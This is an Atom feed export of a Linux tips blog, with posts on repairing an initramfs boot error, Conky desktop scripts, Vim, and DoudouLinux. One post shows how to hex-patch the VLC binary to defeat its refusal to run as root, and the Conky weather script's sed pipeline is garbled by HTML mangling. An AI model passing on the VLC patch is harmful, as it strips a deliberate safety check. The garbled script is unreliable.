<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6699847429913330442</id><updated>2012-01-17T13:51:05.238+05:30</updated><category term='change root login username'/><category term='Backup Software'/><category term='conky'/><category term='Fedora'/><category term='linux root login'/><category term='cryptography'/><category term='Fuduntu'/><category term='symmetric'/><category term='IDS'/><category term='webcam setup'/><category term='powertop'/><category term='asymmetric'/><category term='HTTPS'/><category term='Certificate Authority'/><category term='CA'/><category term='kaspersky'/><category term='ps'/><category term='McAfee'/><category term='Scientific Linux'/><category term='linux root password'/><category term='disable root login'/><category term='rtcwake'/><category term='Firewall'/><category term='Toorox'/><category term='initramfs error'/><category term='Amazing commands'/><category term='Vinux'/><category term='Bootloader'/><category term='DoudouLinux'/><category term='encryption'/><category term='GRUB'/><category term='Linux vendors'/><category term='Taskset'/><category term='BlueProximity'/><category term='lsof'/><category term='disable root'/><category term='install from hard disk linux'/><category term='Linux For Visually Impaired'/><category term='online tool'/><category term='Crontab'/><category term='Utility Softwares'/><category term='Hacking/Security Software'/><category term='F-Prot'/><category term='vim help'/><category term='linux troubleshooting'/><category term='AntiX'/><category term='MoonOS'/><category term='secure HTTP'/><category term='linux'/><category term='alias'/><category term='Utility Software'/><category term='linux root password security'/><category term='command chaining'/><category term='Brug'/><category term='netstat'/><category term='GRUB 2'/><category term='secure root password'/><category term='AIDE'/><category term='Outstanding Linux Distros'/><category term='Iptables'/><category term='Iptable Custom Chain'/><category term='QR code'/><category term='clamAV'/><category term='Vim Editor'/><category term='linux antivirus'/><category term='avast'/><category term='secure login'/><category term='vlc'/><category term='root password'/><category term='inode'/><category term='Enhance Linuxbox Security'/><category term='linux preinstalled laptop'/><category term='TCPdump'/><category term='linux installation'/><category term='troubleshoot root login'/><category term='Hard disk installation'/><category term='Ubuntu'/><category term='Gnacktrack'/><category term='htop'/><category term='Pentesting Live CD'/><category term='encfs'/><category term='avg'/><title type='text'>LINUX tips tweaks &amp; security issues!</title><subtitle type='html'>All about Linux distros, software, software configuration tips &amp;amp; tweaks, security issues etc.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>63</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-3987760146662083376</id><published>2012-01-08T18:38:00.000+05:30</published><updated>2012-01-08T18:38:46.143+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='initramfs error'/><category scheme='http://www.blogger.com/atom/ns#' term='linux troubleshooting'/><title type='text'>Fixing 'initramfs error' boot Problem in Linux.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Yesterday, I faced initramfs boot error on my Linux Mint 9 box. I don't know what went wrong, but I remember that I forced restart my system, as it was not responding. It hung up in a command line terminal. I changed the terminal (ctrl+alt+[f1-f6]), and then unable to get back to the GUI (ctrl+alt+f7). The screen was showing some weird software error. &lt;br /&gt;&lt;div style="margin-top: 5px; margin: 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 50px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;No init found. Try passing init= boot arg&lt;br /&gt;BusyBox v1.10.2 (Ubuntu 1:1.10.2.2ubuntu7) built-in shell (ash)&lt;br /&gt;(initramfs)&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;As I was unable to proceed any further, I pressed the power switch. After booting it, I was caught in the initramfs problem. I shook my head; what the heck is this, seen it first time. Trying some commands was of no use. So, then I tried to boot it by pen-drive and fix the issue. I did some search about the error, &lt;a href="http://ubuntuforums.org/showthread.php?t=1682038" target="_blank"&gt;got something really useful&lt;/a&gt;.&lt;br /&gt;I booted by my pen-drive, but I cannot have root access in Linux Mint live cd. Again, I made a bootable pen-drive using &lt;a href="http://gparted.sourceforge.net/" target="_blank"&gt;Gparted&lt;/a&gt;, but again I was stopped by an error. I tried 2-3 more times with different stuffs.&lt;br /&gt;The problem was, I was not getting a terminal with root access. So, at last I used my final weapon, &lt;a href="http://www.backtrack-linux.org/" target="_blank"&gt;BackTrack&lt;/a&gt; live cd. It's the most sought hacking/cracking live cd. I installed it on my pen-drive, and BOOM I got the root login. Now, nothing more was needed.&lt;br /&gt;Executed,&amp;nbsp; &amp;nbsp; &lt;br /&gt;#fdisk -l /dev/sda&lt;br /&gt;This gave me the listing of all partitions, ext2/ext3/ext4 drives for Linux. Now, look for the drive creating problem.&lt;br /&gt;ext3/ext4 are marked by id 83. Now, did this,&amp;nbsp; &amp;nbsp; &lt;br /&gt;#fsck -yv /dev/sda7 &lt;br /&gt;You have to see it by yourself, that the problem is in which partition, mine was in sda7. fsck command just checks the filesystem for errors. In my case, the problem was the partition was locked due to accidental shutdown, and the boot loader was not able to access my init ram file which is needed during bootup.&lt;br /&gt;After executing the command, I saw some errors getting fixed and filesystem repaired. At the end, I rebooted and my Linux Mint was again back to life. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-3987760146662083376?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/3987760146662083376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2012/01/fixing-initramfs-error-boot-problem-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/3987760146662083376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/3987760146662083376'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2012/01/fixing-initramfs-error-boot-problem-in.html' title='Fixing &apos;initramfs error&apos; boot Problem in Linux.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-6333908187233580621</id><published>2011-12-03T09:30:00.001+05:30</published><updated>2011-12-03T12:27:07.142+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><category scheme='http://www.blogger.com/atom/ns#' term='conky'/><title type='text'>Conky Script to display Weather Forcast on your desktop.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;First get the basics of the post from &lt;a href="http://linux-techy.blogspot.com/2011/10/conky-ultimate-system-monitoring-tool.html"&gt;here&lt;/a&gt;. Here is a simple script to display weather forecast on your desktop. I'm using &lt;a href="http://weather.yahoo.com/"&gt;yahoo weather&lt;/a&gt; to get the xml feed of forecast because it requires no login/registration and can be just use it directly.&lt;br /&gt;&lt;style type="text/css"&gt;	&lt;!--		@page { margin: 2cm }		P { margin-bottom: 0.21cm }	--&gt;	&lt;/style&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0cm;"&gt;Conky Configuration File &lt;/div&gt;&lt;div style="border: 1.10pt double #00000a; margin-bottom: 0cm; padding: 0.18cm;"&gt;# UBUNTU-CONKY&lt;br /&gt;# A comprehensive conky script, configured for use on&lt;br /&gt;# Ubuntu / Debian Gnome, without the need for any external scripts.&lt;br /&gt;#&lt;br /&gt;# Based on conky-jc and the default .conkyrc.&lt;br /&gt;background yes&lt;br /&gt;# Create own window instead of using desktop (required in nautilus)&lt;br /&gt;own_window yes&lt;br /&gt;own_window_type desktop&lt;br /&gt;own_window_transparent yes&lt;br /&gt;own_window_hints undecorated,below,skip_taskbar&lt;br /&gt;&lt;br /&gt;# Use double buffering (reduces flicker, may not work for everyone)&lt;br /&gt;double_buffer yes&lt;br /&gt;&lt;br /&gt;# fiddle with window&lt;br /&gt;use_spacer yes&lt;br /&gt;use_xft no&lt;br /&gt;&lt;br /&gt;# Update interval in seconds&lt;br /&gt;update_interval 3.0&lt;br /&gt;&lt;br /&gt;# Minimum size of text area&lt;br /&gt;# minimum_size 80 5&lt;br /&gt;&lt;br /&gt;# Draw shades?&lt;br /&gt;draw_shades no&lt;br /&gt;&lt;br /&gt;# Text stuff&lt;br /&gt;draw_outline no # amplifies text if yes&lt;br /&gt;draw_borders no&lt;br /&gt;font ms sans&lt;br /&gt;uppercase no # set to yes if you want all text to be in uppercase&lt;br /&gt;&lt;br /&gt;# Stippled borders?&lt;br /&gt;stippled_borders 3&lt;br /&gt;&lt;br /&gt;# border margins&lt;br /&gt;border_margin 0&lt;br /&gt;&lt;br /&gt;# border width&lt;br /&gt;border_width 0&lt;br /&gt;&lt;br /&gt;# Default colors and also border colors, grey90 == #e5e5e5&lt;br /&gt;default_color cyan&lt;br /&gt;default_shade_color black&lt;br /&gt;#default_outline_color CCCCCC&lt;br /&gt;&lt;br /&gt;own_window_colour white&lt;br /&gt;own_window_transparent yes&lt;br /&gt;&lt;br /&gt;# Text alignment, other possible values are commented&lt;br /&gt;#alignment top_left&lt;br /&gt;#alignment top_right&lt;br /&gt;#alignment top_middle&lt;br /&gt;alignment bottom_left&lt;br /&gt;#alignment bottom_right&lt;br /&gt;&lt;br /&gt;# Gap between borders of screen and text&lt;br /&gt;gap_x 0&lt;br /&gt;gap_y 0&lt;br /&gt;&lt;br /&gt;# stuff after 'TEXT' will be formatted on screen&lt;br /&gt;&lt;br /&gt;TEXT&lt;br /&gt;Weather Report [Bangalore]&lt;br /&gt;&amp;nbsp;&lt;b&gt;${color white}${execi 40 curl --silent "http://xml.weather.yahoo.com/forecastrss?w=2295420&amp;amp;u=c" | grep -E '(C&lt;br|high|low)' 's="" -e="" &lt;br="" \="" sed="" |=""&gt;//' -e 's/&lt;b&gt;//' -e 's/&amp;lt;\/b&amp;gt;//' -e 's/&lt;br \="" /&gt;//'}&lt;/b&gt;&lt;br|high|low)' 's="" -e="" &lt;br="" \="" sed="" |=""&gt;&lt;b&gt;&lt;/b&gt;&lt;/br|high|low)'&gt;&lt;/br|high|low)'&gt;&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0cm;"&gt;&lt;/div&gt;&lt;b&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;You have to customize this script for your city, just you have replace 'Bangalore' with your city and the code w=[your city code that you can find in yahoo weather], that's all.&lt;br /&gt;&lt;style type="text/css"&gt;	&lt;!--		@page { margin: 2cm }		P { margin-bottom: 0.21cm }	--&gt;	&lt;/style&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-6333908187233580621?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/6333908187233580621/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/12/conky-script-to-display-weather-forcast.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/6333908187233580621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/6333908187233580621'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/12/conky-script-to-display-weather-forcast.html' title='Conky Script to display Weather Forcast on your desktop.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-7709057214047726381</id><published>2011-10-13T09:16:00.001+05:30</published><updated>2011-12-03T10:02:46.990+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><category scheme='http://www.blogger.com/atom/ns#' term='conky'/><title type='text'>Conky : Ultimate System Monitoring Tool</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://conky.sourceforge.net/conky.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="320" src="http://conky.sourceforge.net/conky.png" width="222" /&gt;&lt;/a&gt;&lt;/div&gt;Conky is the lightweight, super-configurable application, which sits on your desktop or terminal. It is a fork of Torsmo and licensed under the GPL 3.0. &lt;br /&gt;It can also be customized to gather and display almost any type of information on the user's desktop or terminal. &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Conky can be extended &amp;amp; customized with the Lua programming language, and uses its own configuration file syntax. Its biggest strength lies in its ability to be extended through scripting. &lt;br /&gt;It is ported to devices such as the Nokia N900, and can be ported to practically any system with GCC and an X11 implementation. &lt;br /&gt;User created customized scripts, demonstrating Conky's modularity and versatility in function and appearance can be found &lt;a href="http://ubuntuforums.org/showthread.php?t=281865/"&gt;here&lt;/a&gt;.&lt;br /&gt;Features &lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Displays statistics for CPU, disk, memory, top processes, network, and more anywhere on your desktop.&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Supports many popular Linux music player. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Text-based configuration allows for a high level of customization. &lt;/li&gt;&lt;li&gt;Built in IMAP and POP3 support &amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Built in support for many popular music players (MPD, XMMS2, BMPx, Audacious). &lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Can be extended using built in Lua support, or any of your own scripts and programs.&amp;nbsp; &lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Built in Imlib2 and Cairo bindings for arbitrary drawing with Lua. &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Installation &lt;br /&gt;&lt;br /&gt;Debian/Ubuntu &lt;br /&gt;$ sudo apt-get install conky&lt;br /&gt;&lt;br /&gt;Gentoo&amp;nbsp; &lt;br /&gt;Conky is in portage. You can install it with:&lt;br /&gt;# emerge app-admin/conkyor&lt;br /&gt;&amp;nbsp; &lt;br /&gt;Using Paludis:&lt;br /&gt;# paludis -i app-admin/conkyArch &lt;br /&gt;&lt;br /&gt;Conky is available in pacman:&lt;br /&gt;# pacman -S conky &lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Conky_%28software%29"&gt;http://en.wikipedia.org/wiki/Conky_%28software%29&lt;/a&gt;&lt;br /&gt;&lt;a href="http://conky.sourceforge.net/"&gt;http://conky.sourceforge.net/&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-7709057214047726381?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/7709057214047726381/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/10/conky-ultimate-system-monitoring-tool.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7709057214047726381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7709057214047726381'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/10/conky-ultimate-system-monitoring-tool.html' title='Conky : Ultimate System Monitoring Tool'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-7966943661912882239</id><published>2011-09-21T00:39:00.001+05:30</published><updated>2011-10-13T09:22:22.217+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='vim help'/><title type='text'>VIM Cheatsheet!</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Vim users must use this &lt;a href="http://michael.peopleofhonoronly.com/vim/"&gt;cheatsheet&lt;/a&gt;. It's very informative &amp;amp; gives complete information about vim.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-7966943661912882239?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/7966943661912882239/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/09/vim-cheatsheet.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7966943661912882239'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7966943661912882239'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/09/vim-cheatsheet.html' title='VIM Cheatsheet!'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-5203213188696779188</id><published>2011-06-20T21:36:00.001+05:30</published><updated>2011-06-20T23:42:13.891+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='DoudouLinux'/><category scheme='http://www.blogger.com/atom/ns#' term='Outstanding Linux Distros'/><title type='text'>DoudouLinux : Linux for kids.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;DoudouLinux is a Linux distro meant for kids . It provides tons of applications that suit children from 2 to 12 years old with an environment as easy to use as a gaming console.&amp;nbsp; The project's version 1.0, code name "Gondwana", is now released. &lt;br /&gt;Standard DoudouLinux is delivered with about fifty applications that have been specially chosen to be accessible for children from 2 years old. These applications cover the following topics: &lt;br /&gt;Education - teach children while having fun. &lt;br /&gt;Fun - have fun with games, easy to access but not necessarily simplistic &lt;br /&gt;Work - write texts, calculate, communicate, etc. &lt;br /&gt;Multimedia - listen to music, watch videos, play or create music, or create animation movies &lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;DoudouLinux is available in several languages so that each child will feel comfortable when he begins reading. It currently support the following 15 languages: Arabic, Chinese, Dutch, English, French, Greek, Italian, Persian, Polish, Romanian, Russian, Spanish, Serbian, Swedish and Ukrainian.&lt;br /&gt;&lt;br /&gt;To make it run, a PC or Macintosh computer is required with 256 MB memory and 800 MHz processor inside. &lt;br /&gt;Recommended configuration &lt;br /&gt;The minimal recommended configuration to run DoudouLinux is: &lt;br /&gt;256 MB memory &lt;br /&gt;800 MHz processor &lt;br /&gt;800×600 dots display &lt;br /&gt;&lt;br /&gt;To determine which version to download, you need to choose: &lt;br /&gt;the support type to be used (CDROM or USB key) &lt;br /&gt;the &lt;a href="http://www.doudoulinux.org/spip/english/article/download#1"&gt;CDROM&lt;/a&gt; or &lt;a href="http://www.doudoulinux.org/spip/english/article/download#2"&gt;USB&lt;/a&gt; key language.&lt;br /&gt;&lt;br /&gt;Reference: &lt;br /&gt;&lt;a href="http://www.doudoulinux.org/spip/english/about/article/why-should-i-try-doudoulinux"&gt;http://www.doudoulinux.org/spip/english/about/article/why-should-i-try-doudoulinux&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-5203213188696779188?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/5203213188696779188/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/06/doudoulinux-linux-for-kids.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5203213188696779188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5203213188696779188'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/06/doudoulinux-linux-for-kids.html' title='DoudouLinux : Linux for kids.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-2620147830696401829</id><published>2011-06-19T14:20:00.000+05:30</published><updated>2011-06-19T14:20:30.796+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='vlc'/><category scheme='http://www.blogger.com/atom/ns#' term='linux troubleshooting'/><title type='text'>Run vlc media player as root.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;There's an issue in vlc player that it won't run when you are logged in as root. I don't know the reasons, may be its developers have some security concerns.&lt;br /&gt;Anyways, you can make it run as root by following a simple series of steps, assuming that you have already installed it &amp;amp; it's running in case of other users.&lt;br /&gt;Follow these steps:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Login as root. &lt;/li&gt;&lt;li&gt;Install ghex/khex (Hex editor for Gnome/KDE environment).&amp;nbsp; &lt;a name='more'&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;$apt-get install ghex&lt;br /&gt;OR&lt;br /&gt;&lt;br /&gt;$apt-get install ghex2&lt;br /&gt;It might be possible that your OS repository don't support ghex version. In that case type apt-get install ghex &amp;amp; hit &lt;tab&gt;. In my case it was ghex2.&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/tab&gt;&lt;br /&gt;It will take some time.&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;After installing, open the vlc binary file /usr/bin/vlc in hex editor.&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;$ghex2 /usr/bin/vlc&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Now, search for the string 'geteuid' inside the binary file.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;Edit &amp;gt; Find &amp;gt; Type 'geteuid' in right text box &amp;amp; hit 'find next' button. This step might be different for different versions.&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Once you find the string replace 'geteuid' with 'getppid'. Append the string with caution, an wanted change can crash vlc. Just try to replace 2 characters eu with pp, by just pointing the cursor in insert mode to e &amp;amp; replace it with p, again replace u with p.&lt;/li&gt;&lt;li&gt;Now, you can run vlc as root.&amp;nbsp; &amp;nbsp; &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-2620147830696401829?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/2620147830696401829/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/06/run-vlc-media-player-as-root.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2620147830696401829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2620147830696401829'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/06/run-vlc-media-player-as-root.html' title='Run vlc media player as root.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-7543745511371313777</id><published>2011-06-11T07:58:00.000+05:30</published><updated>2011-06-11T07:58:12.531+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vim Editor'/><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><title type='text'>Understanding VIM : [Tabs] Tutorial-5</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;It's quite possible that you may be working on several projects at once, having tabs set up can be a cool way to multi-task without having to see all of your files at once.&lt;br /&gt;If you want to start Vim with more than one file, run vim -p filename1 filename2. This will open each file in its own tab.&lt;br /&gt;Already in a Vim session? You can open a new tab with :tabnew filename to open (or create) a file.&lt;br /&gt;To switch to the next (right) tab use gt in command mode. To switch to the previous (left) tab, use gT.&lt;br /&gt;To close a tab you can use :q. If you're editing one file in a tab and use :wq Or you can use :tabc to save &amp;amp; close it. &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * vim -p filename1 filename2 to open multiple files in tabs from the command line.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * :tabnew to open a new tab.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * gt to switch to the next tab.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * gT to switch to the previous tab.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * :tabc to close a tab.&lt;br /&gt;&lt;br /&gt;You can also combine tabs and viewports -- so you can have a session with multiple viewports in each tab, if you like. Mix and match, Vim is very flexible and if you can think of something that Vim would logically need to do, odds are that it does.&lt;br /&gt;&lt;br /&gt;There is, of course, always more. Use Vim's :help function to read more about the various tab commands and functions.&lt;br /&gt;&lt;br /&gt;Mastering these techniques will definitely increase your productive with Vim. In the next installments more advanced techniques will be covered. In the meantime, you might also want to check out the vimtutor command (terminal command). It will walk you through some of the more common functions in Vim.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-7543745511371313777?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/7543745511371313777/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/06/understanding-vim-tabs-tutorial-5.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7543745511371313777'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7543745511371313777'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/06/understanding-vim-tabs-tutorial-5.html' title='Understanding VIM : [Tabs] Tutorial-5'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' 